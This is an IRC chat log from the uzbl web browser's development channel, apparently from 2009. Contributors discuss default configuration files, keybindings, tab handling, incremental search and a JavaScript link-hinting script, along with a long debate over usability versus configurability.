10:56 < rob|> chrome's bar is also quite nice as you can perform goole searches from there too
10:58 < Dieterbe> if firefox can't find the location specified through theawesomebar, it will also do a google search
10:58 < Dieterbe> but why the awesomebar is really awesome, is because of the way it's matching works
11:01 < rob|> oh, what do you think about introducing a ERROR symtol into the status template, so we can display any errors in the statusbar?
11:03 < Dieterbe> i think that's a good idea. not only in statusbar but also in title.
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11:17 < Dieterbe> aha!
11:17 < Dieterbe> Mrelendig under disguise o_O
11:17  * Dieterbe slaps jelly12gen
11:17  * jelly12gen slaps Dieterbe  with a mIRC script.
11:18 < Dieterbe> ugh :?
11:18 < jelly12gen> nah i aint him
11:18 < jelly12gen> i am not as awesome
11:18 < Dieterbe> 11:18:25 [freenode] CTCP VERSION reply from jelly12gen: irssi v0.8.12 - running on Linux i686
11:18 < Dieterbe> phew
11:19 < jelly12gen> Dieterbe: someone already did it and just said  : ZOMG I LOVE FURRIES
11:19 < jelly12gen> and someone else grabbed that on archlinux-offtopic
11:20 < Dieterbe> o_O
11:20 < jelly12gen> but to get more ontopic Dieterbe i like your browser it's pretty light 'n' fast
11:20 < Dieterbe> thanks, but it's not "my" browser. i just got the ball rolling ;)
11:20 < jelly12gen> well ok , yeah but  still you did great
11:21 < jelly12gen> i should learn more C
11:21 < Dieterbe> :)
11:23 < jelly12gen> actaully i have a problem with it , i can't use follow link
11:23 < jelly12gen> command "follow_link_here" not understood. ignoring.
11:24 < Dieterbe> man you are using an *old* version. at least 3-4 days. that's *way* outdated :P
11:24 < rob|> you're config file is outdated, just grab sampleconfig-dev from github
11:24 < rob|> *your
11:24 < Dieterbe> or rebuild package
11:24 < Dieterbe> to have updated sample stuff in /usr/share
11:25 < jelly12gen> i am updating atm, then i will dl the config
11:25 < jelly12gen> i need the dev version for the experimental-git version right?
11:26 < Dieterbe> just get uzbl-git from aur
11:26 < Dieterbe> you need sampleconfig, not sampleconfig-dev
11:27 < Dieterbe> unless you want to develop
11:27 < jelly12gen> ok
11:27 < jelly12gen> i am not so awesome
11:28 < jelly12gen> i am going to learn C in a few weeks
11:36  * Dieterbe sets mode +hungry
11:39 < DuClare> Meh
11:40 < DuClare> This libsoup stuff is amazingly complicated for somebody who has no experience with glib and its fancy object system
11:41 < DuClare> O, it's actually gobject
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12:32 < DuClare> Sigh.
12:39 < ruskie> ?
12:59  * Dieterbe slaps DuClare 
13:09 < rob|> damn, C fails so horribly with generic types
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13:15 < Dieterbe> hmz?
13:21 < rob|> well, we need to cast the variables to (void *) in the names to variable array and then re-cast to the correct data type
13:21 < rob|> this seems to get quite hairy, though
13:33 < Dieterbe> hmm
13:38 < Dieterbe> i posted my more polished thoughts about tabs in the forum thread :)
13:55 < DuClare> ruskie, I was trying to figure out how to create a logout command but this soup thath consists of gobjects, callbacks and strange encapsulation is .. uhh..  GRR.
13:56 < Dieterbe> what about just erasing the cookie and refreshing the page? :P
13:56 < Dieterbe> not sure if it would work on all sites though
13:56 < Dieterbe> probably not
13:57 < DuClare> Dieterbe, We're not talking about cookies here
13:58 < Dieterbe> k
13:58 < DuClare> Http basic authentication scheme, which is implemented via a libsoup "feature" -- the soupauthmanager, which uses soupauth*, which are called by the signals in soupsession. -_-
13:59 < rob|> Dieterbe: the tab thing sound quite good, i guess we could just use class hints to mark the windows - this would be fully compatible to X
13:59 < rob|> i.e. ressource name is the actual tab name and class uzbl
14:02 < DuClare> Forum?  What forum, where?
14:02 < Dieterbe> http://bbs.archlinux.org/viewtopic.php?id=70700
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14:18 < Dieterbe> DuClare: you're not an Arch user?
14:27 < DuClare> I'm not
14:27 < Dieterbe> what os are you on?
14:28 < DuClare> Gentoo
14:28 < Dieterbe> that reminds me, rob| how is arch going for you? :)
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14:43 < DuClare> "I see.  any specific reason you prefer non-vim style interface?  I personally hate multi-key shortcuts."  << there are people who love multi-key shortcuts and hate vim style interfaces, and it's a preference just like yours. :]
14:44 < Dieterbe> yep, that's why we support modes + modkey +always_insert_mode
14:49 < ruskie> so it's possible to have multi key shortcuts?
14:49 < ruskie> I tend to prefer a mix of the lot
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14:50 < ruskie> ctrl+i for location entry, alt+,/. for switching between tabs/instances happy with :q for quit and some others... ;)
14:50 < Dieterbe> of course, that's what the modkey is for
14:51 < ruskie> erm? but isn't there only one?
14:51 < ruskie> or can there be multiple?
14:52 < DuClare> Actually, hmm
14:52 < ruskie> why not just have something like bind keys action where keys can be <ctrl><alt><esc><etc...> and all the other usuall alphanumerics and non-alphanumerics...
14:53 < Dieterbe> currently you can configure just one modkey
14:53 < Dieterbe> patch welcome :)
14:54 < DuClare> If there's going to be a way to create shortcuts for tabs/buffers/instances, I'd probably want to try using alt+number/upperrow combinations like in irssi :o  That could have the benefit that it'd limit me to using only twenty tabs.  My current browsing habits are not particularly resource friendly.
14:54 < ruskie> if I knew how to code effectively and if I knew C I'd actually produce more things
14:54 < DuClare> It's not uncommon for me to have >200 tabs.  Right now I have 119 in vimperator, a few in opera, plus a couple instas of uzbl..
14:55 < Dieterbe> whoa .. crazy
14:55  * ruskie wants a way to switch next/prev buffer/tab/instance as well
14:55 < ruskie> without alt+tab or any other such thing...
14:55 < Dieterbe> see my last post @ http://bbs.archlinux.org/viewtopic.php?id=70700
14:55 < DuClare> Irssi style binds would let me easily switch to any of the twenty instances.  Yup, I'll read it when I reach it
15:00 < ruskie> well I gave my suggestion... since it gives a quick overview and makes it easy to switch
15:00 < DuClare> Yup.
15:00 < ruskie> and yes I've read your post... or skimmed it atleast
15:00 < ruskie> some ideas are nice but I don't like the on demand on having an extrenal entitiy in this case...
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15:01 < Dieterbe> well that's the whole idea of the unix philosophy
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15:01 < ruskie> there is such a thing as over modularising
15:02 < ruskie> the way I see it there is a reason why the statusbar wasn't turned into an external entitiy
15:02 < ruskie> this would be the same core thing as well
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15:04 < Dieterbe> I don't consider this core at all. the way i see it, it doesn't have anythitg to do with "core" aspects.  you just spawn new windows and they get a tag, that's it.  uzbl instances do not need to be aware of each other. they need not know how many other instances they are or which pages they contain
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15:05 < Dieterbe> in fact, they don't even _have_ anything to do with each other
15:06 < DuClare> "no idea.  it may be possible to easily use custom stylesheets with webkit but I'm not sure."  <--  I browsed the api docs today.  Setting a custom stylesheet should be trivial.
15:06 < ruskie> which means any easy to switch shortcuts seem to be a no-op
15:07 < Dieterbe> nu-uh, because you can easily call external scripts with internal keybinds.  so you could have scripts that look up the "next" instance, the "next unread" etc and focus it
15:09 < DuClare> Uh.  I wonder what I did to paste that quote there.  I don't remember pressing the footswitch.. o_O
15:10 < DuClare> Hmm. I wonder if any app uses combinations like ctrl+esc or alt+esc :o
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15:15 < DuClare> Oh well, now I can use win/alt+esc to do what shift+insert does. :)
15:16 < Dieterbe> you can?
15:17 < Dieterbe> how? in what program?
15:18 < DuClare> Everywhere
15:18 < DuClare> Keyboard macro
15:19 < Dieterbe> #define keyboard macro? you have a fancy keyboard?
15:19 < DuClare> Yeah, I have
15:19 < Dieterbe> which?
15:20 < DuClare> http://www.kinesis-ergo.com/advantage_pro.htm
15:20 < Dieterbe> i see
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15:23 < Dieterbe> hi ludovico 
15:25 < DuClare> Dieterbe, How will this tagging happen in practice?  Will it be easy to number the instances to create the irssi-style shortcuts?  Or should I just write a script that greps and stores the pids in a list?
15:26 < Dieterbe> well my POV that numbers are not really useful to name instances.  imho they should be characterized by their name/status/tag etc
15:27 < DuClare> I agree
15:27 < Dieterbe> but you can definitely always write a custom script that uses numbers
15:31 < shortlord> usability is a very vague quality, so my question is: will the interface be "humane"? http://humanized.com/weblog/2007/10/05/make_oss_humane/
15:34 < DuClare> Humane is just another word no more meaningful than usable
15:35 < DuClare> "Make the Program Usable In Its Default State"  ...  it says it in the text.  Usable!  Why not humane, since it's so much better?
15:35 < shortlord> of course it is not perfect, but much better than usable: http://humanized.com/weblog/2006/06/01/why_humane_is_a_better_word_than_usable/
15:36 < shortlord> DuClare, because usable = the program can be used is a part of humane
15:36 < DuClare> If dropping configurability in favor of good defaults constitutes as humane behavior, then no, uzbl won't be humane
15:36 < DuClare> shortlord, Play with the words
15:36 < Dieterbe> well, we deliver a sample config.
15:36 < DuClare> shortlord, The problem remains the same irrespective of what word you use
15:36 < Dieterbe> if users cannot get started with the sample config, they are not fit for uzbl anyway
15:37 < shortlord> DuClare, configurability can be good and bad, it never substitutes a good interface
15:37 < DuClare> shortlord, What is "good" depends on the user.
15:37 < DuClare> And his environment.
15:37 < DuClare> His needs.
15:38 < shortlord> freedom of choice is good, a bit of configurability is good, too much configurability seldomly good for the user
15:38 < DuClare> Because there is diversity, there is need for configurability.
15:38 < shortlord> too much configurability makes a software worse for most users
15:38 < DuClare> shortlord, I'd put it the other way around -- I'm not happy with software that doesn't let me configure enough
15:39 < DuClare> I don't think we're catering for "most users".  Most users want a mouse and big flashing buttons to click on.
15:39 < shortlord> I am not talking about you or me, because that's a very subjective perspective, I am talking about the fact, that an interface should not force users to choose
15:40 < DuClare> Okay, I accept that; but I don't accept stripping away any configurability.  Ship a default and let the users like or dislike it.
15:41 < shortlord> why is everyone assuming that "easy to learn" and "powerful to use" is impossible to achieve in one single application?
15:41 < DuClare> shortlord, Experience shows it's tue
15:41 < DuClare> true
15:41 < shortlord> Experience shows that many developers are too lazy to try
15:43 < Dieterbe> DuClare> I don't think we're catering for "most users".  Most users want a mouse and big flashing buttons to click on <-- not target audience for uzbl :)
15:43 < shortlord> Dieterbe, I think that is not true
15:44 < shortlord> how do you know that most users would not be happy to use an uncluttered web browser?
15:44 < shortlord> flashing buttons are annoying, even for my grandma
15:44 < Dieterbe> no YOU said that is what users want. i'm just saying such people are not our target audience
15:45 < Dieterbe> euur sorry
15:45 < DuClare> shortlord, That was not to be taken so literally
15:45 < Dieterbe> DuClare said that
15:45 < Dieterbe> but my point remains
15:45 < DuClare> shortlord, What's wrong with firefox?  You can get rid of the bookmark bar, you can get rid of the status bar, you can get rid of pretty much everything
15:46 < DuClare> As far as I'm concerned, uzbl is a browser whose goal is light weight, proper keyboard access and configurability.
15:46 < Dieterbe> it's bloated, slow and stores all my personal stuff in unusable binary formats
15:47 < shortlord> the uzbl website says that it should be a browser that adheres to the unix philosophy
15:47 < DuClare> We are geeks with our preferences.  If you read the forum, you see how impossible it is for us to agree on some things.  That's why we need configurability -- let the user choose whatever suits him the best
15:47 < shortlord> that's something different, DuClare
15:47 < DuClare> shortlord, That's one quality of the browser
15:47 < DuClare> That doesn't mean it's all it is about
15:47 < DuClare> And that definitely doesn't mean it's all it is to ME
15:48 < shortlord> true, but it is the main vision and idea behind it
15:48 < shortlord> and that does not conflit with a browser that is easy to use even for people who do not like vim keybindings or configuration
15:48 < Dieterbe> shortlord: what are you trying to say? we do not implement the unix philosophy?
15:49 < shortlord> no, I just try to point out that simplicity and the rest of the unix philosophy is a wonderful thing, which is great even for users who just want to work and don't want to configure / learn to much
15:49 < DuClare> shortlord, It says on the first line: …a keyboard controlled (modal vim-like bindings, or with modifier keys) browser based on Webkit.
15:50 < DuClare> shortlord, It also says: Uzbl keeps it simple, and puts you in charge.
15:50 < DuClare> With a bold YOU
15:50 < shortlord> there are plenty of people out there who use a computer for many hours a day to get productive work done, but who still don't want to configure ever single piece in you operating system
15:51 < shortlord> DuClare, putting me in charge is possible without configuration
15:51 < shortlord> I respect that many people want configuration
15:51 < DuClare> shortlord, Not if you sacrifice configurability
15:51 < shortlord> I disagree
15:51 < shortlord> but that's personal preference
15:51 < shortlord> I respect that you want to configure your apps
15:51 < DuClare> If I can't configure something that the developer decided, then I'm not in charge
15:52 < DuClare> The dev is
15:52 < shortlord> I just beg you not to limit uzbl's user base by forcing the users to choose
15:52 < Dieterbe> listen.  apps that "work without configuration" just have default config settings built-in. we just ship a sample config file (which you can use just like that, if you want). that's pretty much the same.
15:52 < shortlord> DuClare, I trust the devs
15:52 < shortlord> I like apps that work out of the box. They may not work perfect, but I prefer apps that work great without configuration over apps that work perfect with much configuration
15:53 < shortlord> I use dwm and not haskell or awesome, not because dwm is so much more powerful, but because it is usable out of the box
15:54 < DuClare> shortlord, I don't, because everybody is different.  I use emacs more than vim, and had it been up to Dieterbe, there would've been no support for modifier bindings.  But somebody on the forum requested it and so we have it - configurability.  I don't need to make a fork, I don't need to use vim, I don't need to trust Dieterbe -- I can choose what I like.
15:54 < DuClare> Again, "work out of the box" is kinda difficultt
15:54 < shortlord> is it?
15:54 < Dieterbe> i don't like coding default settings into the source code.  and i don't want to put config files into peoples home directories (something many apps do).  so putting a (usable) in /usr/share/uzbl/examples is the best option imo
15:55 < DuClare> If we target people who like vim/vimperator-like bindings, then it suits them, not your grandma.  We could write a default config for your grandma, but why on earth would we if none of us uses such?
15:55 < Dieterbe> :)
15:55 < shortlord> Dieterbe, not putting default settings into source code is ok, but you prefer to force people to copy some configuration file first instead of just giving it to them?
15:56 < Dieterbe> shortlord: #define giving? i HATE apps that mess in my home directory without me asking for it.  so we "give" the config by putting it in /usr/share/uzbl/examples
15:56 < shortlord> DuClare, I don't talk about my grandma, I talk about users who want to use simple apps without configuring his computer for a week before doing any real work
15:57 < DuClare> That's something we haven't discussed.  I don't mind setting a default config path if that pleases you.  Whether you like the sample config or not is another issue.
15:57 < Dieterbe> " configuring his computer for a week before doing any real work" --> well be assured, you don't need to do that with uzbl. we can end this discussion
15:57 < shortlord> Dieterbe, a week of configuration is made up of 100 little pieces of configuration
15:58 < shortlord> it may be ok for users who know most of it
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15:58 < shortlord> maybe you are a proficient Linux user who knows how to configure every program on his system
15:58 < Dieterbe> Maybe I have to think a bit if people who are not control freaks are target audience for uzbl
15:58 < DuClare> Let's put this another way
15:59 < shortlord> but image a person who wants to learn and who wants to use a simple Linux distro + simple apps and then just work
15:59 < DuClare> What is humane to you might not be humane to me.  Why would I write a "good default config" if the first thing I'd do is tear it apart and write a new one for myself?
15:59 < shortlord> I have started to use Arch Linux about one and a half year ago
15:59 < shortlord> and I like the design philosophy of Arch
15:59 < jouz> Dieterbe: is there a maximum length of the string i pass with "x = script $script_here"? Because if there is, i would be happy if we could support file-loading there soon :)
16:00 < shortlord> but it really is a pain to not know anything about all those apps and then be forced to choose
16:00 < shortlord> DuClare, are you a developer?
16:01 < DuClare> shortlord, There will be no UI buttons for navigation.  If you want to use uzbl, you'll *have* to know the keybindings anyway.  IMHO that already falls outside the common definition of "humane", because "most people" can't be arsed to read
16:01 < Dieterbe> jouz: not sure, i'm at work. check the sources. loading from file is on our todo..
16:01 < jouz> Dieterbe: thx
16:01 < DuClare> If you *have* to know the keybindings, then why is it too much work to copy the config and look up the keys while at it?
16:01 < shortlord> if you are a developer, I hope that you and the other devs think a bit about the needs of the audience and not just about your own needs. You don't have to sacrifice you own preferences, but maybe you could write a simple standard config that suits the need of many users
16:01 < DuClare> Or even look at the config in a hardcoded default path
16:02 < shortlord> it can be changed afterwards by each user who WANTS to change it
16:02 < Dieterbe> shortlord: how many times have i told you what you can do with our sample config?
16:03 < DuClare> Again, what is our audience and who are "many users"?  I say our audience is geeks who want keyboard control and full configurability, and for them, the suitable configuration is something like vim or vimperator
16:03 < Dieterbe> in 10 minutes time i have repeated it several times.
16:03 < Dieterbe> if it's not clear to you by now, i'm not gonna waste any more keystrokes
16:03 < DuClare> (suitable configuration like vim/vimperator is what we're doing atm)
16:05 < shortlord> Dieterbe, I have already said the last time we discussed that that I really appreciate the sample config, but I am still worried that uzbl won't be "usable" out of the box for many users who could be the target audience of usable
16:05 < shortlord> I dislike firefox, because I would prefer something more simple
16:05 < shortlord> when I first heard about uzbl, I thought it would be the perfect browser for me
16:05 < jouz> shortlord: the target-group of uzbl clearly only includes people who are able to edit config files.
16:06 < shortlord> because the idea was the "unix philosophy"
16:06 < haste> shortlord: midori might be a browser for you :)
16:06 < shortlord> jouz, I am able to edit config files, does that mean that I want to edit them?
16:06 < haste> shortlord: it's starting to mature much more also
16:06 < jouz> shortlord: yes
16:06 < jouz> it means exactly that
16:06 < shortlord> no, why?
16:06 < shortlord> I can edit config files, but I don't want that
16:07 < jouz> because config files are there to be edited.
16:07 < shortlord> why do you assume that every user who is able to edit them wants to edit them?
16:07 < shortlord> if there would be sane defaults, there would be no need for most users to edit them
16:07 < DuClare> Because we can't know what every user wants.
16:07 < jouz> shortlord: i assume every user who wants an minimal and optimized browser WANTS to edit the config file.
16:07 < shortlord> but you can at least guess what most users want
16:08 < shortlord> jouz, but I don't
16:08 < jouz> then go away
16:08 < jouz> (sry)
16:08 < DuClare> Wost users = those who know vim, so it already is fine
16:08 < DuClare> Most*
16:09 < haste> shortlord: I would still recommend midori, it's more like how phoenix was (ie. firefox at the start)
16:09 < shortlord> haste, I guess I have no other choice
16:09 < shortlord> thx anyway
16:09 < shortlord> good luck with your project
16:09 < Dieterbe> shortlord: you have to know there is nothing comes for free. we right now put sample config in /usr/share.  if you would like it "user-friendlier" the only option is 1) coding the default options in the source code, which has disadvantages (more lines of code, less "clean",...) OR putting the config in $HOME, which also has some disadvantages.  (some people don't like this, including me).  nothing comes for free.
16:10 < shortlord> Dieterbe, ok
16:10 < Dieterbe> if such things would come without disadvantages, do you think i would dislike implementing them? ;)
16:13 < DuClare> Dieterbe, Can't we hardcode a default config path in /usr/share?
16:14 < DuClare> That's bad wrt xdg
16:14 < Dieterbe> not only wrt xdg
16:14 < DuClare> Hmm?
16:14 < Dieterbe> that just does not comply to the FHS (man hier)
16:18 < Dieterbe> maybe.. we could put it in /etc
16:18 < DuClare> Or /usr/local/etc or such
16:20 < Dieterbe> uhm. no . but /etc/ could be an option
16:20 < DuClare> Um.  Okay. :|
16:21 < Dieterbe> but since we want to refactor the "config settings stuff" (no more config files, but files with commands that are to be piped to uzbl), we would need to ship an extra utility that checkt a file in $HOME, if not found in /etc, and pipes the stuff to uzbl
16:21 < DuClare> Yup
16:22 < Dieterbe> but then of course, things get a bit more complicated again..
16:22 < DuClare> A wrapper/launcher..
16:23 < Dieterbe> anyway. my usual POV for things like this is: if anyone cares enough, we'll see it when we get a patch
16:29 < Dieterbe> fair enough i would say :)
16:38 < DuClare> Yup.
16:39 < DuClare> School, gotta run →
16:40 < Dieterbe> run forest ! run !!
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17:09 < ruskie> lol
17:10 < ruskie> interesting... hmmm... can't really define it...
17:11 < ruskie> discussion I guess...
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17:19 < linopolus> Hi
17:19 < Dieterbe> hi
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17:20 < linopolus> What about using bfilter to block ads?
17:20 < linopolus> http://bfilter.sourceforge.net
17:20 < Dieterbe> hmm.. seems similar to privoxy
17:21 < Dieterbe> i guess it's up to the user to pick privoxy, bfilter or whatever he likes
17:21 < linopolus> k
17:21 < linopolus> cause on the website is written use /etc/hosts...
17:21 < linopolus> didn't know
17:22 < Dieterbe> hmm i have to fix that. /etc/hosts wouldn't be a very good approach
17:22 < linopolus> yes
17:22 < ruskie> it is actually
17:22 < ruskie> for most banner type ads
17:23 < ruskie> Dieterbe, I guess if one wants a at a glance view one will need to make an app/script for it right?
17:23 < Dieterbe> the problem is /etc/hosts affects the whole system with all users, not just the user itself + you need root to edit it
17:23 < ruskie> since it was decided to go through an external tool to switch
17:23 < Dieterbe> hm? what?
17:24 < ruskie> about instance switching/tabs/and such like
17:24 < Dieterbe> yeah, i want to use awmenu
17:26 < ruskie> hmm is there a way to extend the statusbar to two lines?
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17:28 < ruskie> so that one could have one blank line to put an always on top one line app on it?
17:29 < Dieterbe> nah, currently just one statusbar
17:31 < ruskie> :(
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17:33 < ruskie> how are cookies progressing?
17:34 < Dieterbe> uhm.. they need more love
17:34 < ruskie> https?
17:34 < Dieterbe> what about it
17:35 < ruskie> is it usable for things like online banking where one auths with a cert... or not?
17:35 < Dieterbe> i don't know. try it
17:35 < linopolus> bye
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17:35 < ruskie> will do
17:36 < ruskie> Problem occurred while loading the URL https://klik.nlb.si/ <-- guess not... of course I have no clue how to import certificates or tell it which ones to use...
17:48 < ruskie> also found a nice way to avoid needing flash yet still watch youtube movies nicely... yaydl is able to print the videourl and mplayer can play it ;)... /me likes
17:54 < jouz> ruskie: yeah i even have a script to load youtube-urls from clipboard to play them with mplayer :)
17:54 < ruskie> I generally just youtube-dled them...
17:55 < ruskie> but with yaydl I'm thinking of just being able to tell the uzbl dl manager to handle each youtube.com/vid url
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18:58 < Dieterbe> evening bitches
18:58 < Dieterbe> and non-bitches too :)
18:59 < DuClare> <-
19:01 < DuClare> ruskie, If you found the discussion interesting, perhaps you can share some thoughts or comments? :)
19:16 < jouz> http://www.uzbl.org/bugs/index.php?do=details&task_id=11 i added this, dusanx wanted to have taken care about this already, but he seems absent?!
19:23 < Dieterbe> feel free to hack on it if you want
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19:39 < jouz> Dieterbe: i currently am totally lost in the C-code :( some documentation in the code would be nice. Maybe even break it down to multiple files...
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19:41 < github> uzbl: Dieter Plaetinck config-refactor SHA1-6ebc2b4
19:41 < github> rationale for config refactoring
19:41 < github> http://bit.ly/t1vmI
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19:42 < jouz> Dieterbe: btw, i found a hack that allows me to perform .click() on elements that have a onclick() attribute. This in union with the window.location setting makes 99% of text and img links working. I will start tinkering on forms next.
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19:43 < jouz> (and i'll release the current code tonight)
19:43 < jouz> uh and i fixed positioning of the hints...
19:49 < Dieterbe> cool
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20:30 < DuClare> Okay, how do we denote an incremental command?  Use * in place of _?
20:41 < darrob> i really like what you guys are doing here for the sake of a better browser. i assume you are going to leave ad blocking to privoxy, for example. but on today's annoying web, can there be a browser without a way to selectively enable, say, flash content (like e.g. noscript) and stuff like that? i'm wondering what uzbl's approach is on this issue.
20:43 < Dieterbe> can't you "selectively en/disable" with privoxy?
20:43 < jouz> DuClare: yeah that sounds good
20:45 < darrob> yes, you can. what i meant was dynamically or interactively and temporarily, you know. like clicking on the placeholder of an embedded youtube player while having it all blocked in general.
20:49 < DuClare> Ehm, works.. almost :>
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20:55 < Dieterbe> darrob: well, i haven't planned to implement anything like that (yet()
20:56 < cdarwin> I'm still getting double windows opened when I click a link that opens in a new window, any idea why this is still happening?
20:56 < Dieterbe> nope
20:57 < cdarwin> hmm, this is obviously not a show stopper, but seems kind of important
20:57 < cdarwin> maybe I will look deeper tonight
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20:58 < darrob> Dieterbe: i certainly understand that, especially at this stage. i was merely wondering what the general idea is. i wouldn't know if there was a clever way to out-source it with something like privoxy or so. thanks for your answer.
21:00 < _19LIONZ_> Dieterbe: Have you ever looked at weechat ?
21:01 < Dieterbe> _19LIONZ_: no
21:01 < _19LIONZ_> Dieterbe: It's really close to what you're aiming for
21:01 < _19LIONZ_> Dieterbe: if i understand correctly
21:01 < _19LIONZ_> Dieterbe: written in C
21:02 < _19LIONZ_> Dieterbe: you can change configuration on the fly
21:02 < _19LIONZ_> Dieterbe: ^/set foo bar
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21:03 < Dieterbe> ok, i'll kep that in mind
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21:05 < DuClare> Hmmm..
21:11 < DuClare> Dieterbe, Does it hurt if return will always erase keycmd, irrespective of whether the command was found or not?
21:12 < Dieterbe> don't know. Dusanx wrote that code i believe
21:12 < DuClare> Hmm well let's not consider the code
21:13 < DuClare> Does it matter if the written command you see in the status line disappears on return whether a command actually executed or not?
21:18 < _19LIONZ_> http://weechat.flashtux.org/doc/devel/en/user/weechat_user.en.html#secWeechatCommands
21:18 < Dieterbe> hmm.. well, if it failed to execute it's probably best to keep it, so the user can edit it and fix it
21:42 < DuClare> Hmm, I have a working incremental search
21:42 < DuClare> Except for one thing.
21:44 < DuClare> I think incrementals shouldn't be executed on return
21:45 < DuClare> That'd make it repeat the search once when you're finished, jumping to the next result..
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21:59 < jouz> DuClare: will you push the code this evening? i have usable linkfollowing-code already written. :)
22:00 < DuClare> Okay, I have working incremental search (and, presumably, any other incremental command not done yet)
22:00 < jouz> :)
22:00 < DuClare> I don't have commit access, and I'm not sure you like my code, but I can give a patch if you're brave enough to try it out
22:01 < Dieterbe> DuClare: you have to fork me on github and push your code to it
22:05 < DuClare> The bad is that the binding list gets checked on every keystroke except the few that return immediately.  Don't know how bad the strain is in practice..
22:26 < DuClare> Mehehe.  I forgot to remove all those branches I don't need.  Oh well. :>
22:26 < DuClare> jouz, http://github.com/DuClare/uzbl/tree/experimental
22:45 < DuClare> Meh.  How do I get rid of those branches o_O
22:47 < DuClare> nm
22:49 < Dieterbe> :)
22:57 < jouz> :D good news
22:58 < jouz> link following vimperator-style works with DuClares branch and my function :)
22:58 < DuClare> Really? :O
22:58 < jouz> without any modification on my side :D
22:58 < DuClare> Wow.
22:59 < DuClare> Where's your function? :)
22:59 < jouz> its a bit hanky panky, because the command is not reset after the next page is launched. Further the * cmd is also executed when i press "Shift" (so even if no char was added)
23:00 < jouz> i will do a quickfix and the paste the function
23:02 < DuClare> Hmm,  I bet shift won't be used as a modifier key as such.
23:02 < jouz> Why not trigger the function only when a char was added?
23:06 < DuClare> Because it's the function that decides whether a char is added
23:07 < jouz> ah crap :D. i just found a workaround that makes it unnoticable anyway...
23:08 < DuClare> I think I can disable shift
23:08 < jouz> yeah that really shoudn't be a modifier key anyway
23:10 < jouz> here is the function: http://pastie.org/474929 (add as one line to your config)
23:10 < jouz> you cat either type the number of the link to follow, or just the Text of the link.
23:11 < jouz> hints can be styled even more (i was even thinking about some fancy animation for those who like it :) )
23:12 < jouz> Only thing that is not optimal is that we have to hit ESC after the next page is loaded
23:12 < jouz> maybe JS can simulate a keypress or s.th
23:13 < DuClare> Pull, shift is ignored now.
23:14 < DuClare> Erm, bad commit message o_O
23:14  * DuClare is getting tired again.
23:14  * jouz as well
23:17 < DuClare> I hope that doesn't cause too much confusion. :<
23:26 < DuClare> jouz, Cool.  I like the style. :)
23:27 < DuClare> Umm
23:27 < jouz> thx :). You think its possible to capture a reload-event or s.th that the CMD is resetted?
23:27 < jouz> (i edited the pastie above with a little fix btw)
23:27 < DuClare> Not sure.  Maybe it can be done.
23:28 < DuClare> Typing text of the links didn't work though :o
23:28 < jouz> hmm it works here, maybe try the actual script (same pastie).
23:29 < jouz> i will go to bed now, tomorrow is another day ;)
23:29 < DuClare> Ehm, now it actually worked
23:29 < DuClare> Oh
23:30 < DuClare> Works for some links only
23:30 < DuClare> ...
23:30 < DuClare> I was just doing it wrong.  It's actually case sensitive
23:30 < jouz> oh yeah
23:30 < jouz> that can be fixed easily though
23:31 < jouz> i'll do it tomorrow :)
23:31 < DuClare> Yup.
23:32 < DuClare> One possibility is to automatically reset the command on every page load
23:32 < DuClare> Does it have any drawbacks?  Are there commands that should persist, remain active over page loads?
23:33 < jouz> i dont think so, if im in Insert mode, i mostly even which that i get a reset to Command mode anyway.
23:33 < jouz> uh *i mostly whish*
23:34 < DuClare> If we want something like the always-hint-mode (yes, I want it!) then it should be implemented as a hook that activates the hint following thingy, so yeah..  I don't see any drawbacks.
23:34 < DuClare> Hmm.  That brings another question.
23:35 < DuClare> Do we have anything for letting scripts/user commands store variables in the browser?
23:35 < DuClare> Actually, not needed
23:35 < DuClare> If the yet-to-be-done config thing works the way I think it does
23:36 < jouz> the JS scripts are not able to interact with the browser anyway (just with the webkit engine)
23:37 < DuClare> An external script may store vars where-ever it wants.  Then it can send some js to the browser, right?
23:37 < DuClare> Can it send?
23:37 < DuClare> Hm.
23:38 < jouz> hmm
23:38 < DuClare> Normally the configs are read via stdin.  Is there a way to let external scripts write the same sort of commands to the browser?  Via ctl perhaps?
23:38 < DuClare> O, there's the fifo too..
23:39 < jouz> tomorrow maybe ;)
23:39 < DuClare> Yea
23:40 < DuClare> Technically, it already is tomorrow here. ;)
23:40 < DuClare> Tue May 12 00:40:04 EEST 2009
23:41 < jouz> wow i still have 20 minutes :D
23:43 < haste> needs more UGT!
23:43 < haste> http://www.total-knowledge.com/~ilya/mips/ugt.html :3
23:44 < DuClare> I actually tend to do that myself
23:45 < DuClare> When I greet people for the first time during a day, it's "good morning" :)
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09:33 < Dieterbe> morning dudes
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09:35 < Dieterbe> jouz> thx :). You think its possible to capture a reload-event <-- yes. webkit has various signals
09:36 < jouz> jouz: then linkfollowing could get really comfortable :)
09:36 < jouz> :D writing to myself...
09:38 < DuClare> Morning.
09:40 < Dieterbe> mornings
09:40 < dpb> It's only one morning now.
09:40 < jouz> ugt morning?
09:41 < DuClare> We need a hook on load-finished, at least.
09:41 < Dieterbe> we have that
09:41 < Dieterbe> it's called commit_cb IIRC
09:42 < DuClare> Oh
09:42 < DuClare> No
09:42 < DuClare> That's load-committed
09:45 < Dieterbe> oh.. and that's not good enough?
09:46 < DuClare> Dieterbe, I'm not sure the hint thingy behaves nicely if everything hasn't been loaded yet
09:47 < DuClare> It works for resetting the keycmd, though :)
09:49 < Dieterbe> oh. right. well feel free to add a hook on load-committed
09:52 < DuClare> For the time being, I'll just add a line which clears the command.  Later on we'll need a hook in for which one can add actions via configuration
09:52 < DuClare> jouz, I encountered a little problem, though.
09:52 < DuClare> jouz, http://www.ohjelmointiputka.net/index.php
09:53 < DuClare> jouz, Try activating the hints and following number 21 or 20 :|
09:54 < jouz> already fixed ;)
09:56 < DuClare> Oh
09:56 < jouz> http://pastie.org/475369 (at least i hope so, try this version)
09:57 < jouz> there are some other fixes btw, like now hits have a very high z-index (sometimes you wouldn't see all hints because of that)
09:57 < DuClare> Hehe, it keeps growing ... :]
09:58 < Dieterbe> holy crap dudes
09:59 < Dieterbe> i think it's time we implement loading js from file :P
10:02 < jouz> yes please :)
10:02 < DuClare> jouz, Pull and the hints should disappear when you load a new page
10:03 < DuClare> Erm, the command
10:04 < DuClare> Also, don't mind the meaningless commits from when I tried to fix a bad commit message. :}
10:06 < jouz> -_- i have problems pulling your stuff, which branch is the recent one? your experimental or your master?
10:06 < DuClare> experimental
10:08 < jouz> ah yes, this is so awesome :)
10:09 < jouz> so how should i improve linkfollowing next?
10:10 < DuClare> Make it case insensitive if it isn't yet
10:11 < Dieterbe> jouz: if you make fundamental changes, do you keep "backups" so that we have different working scripts with different behaviours? could be usefull to have more then one sample script, some people might have different tastes
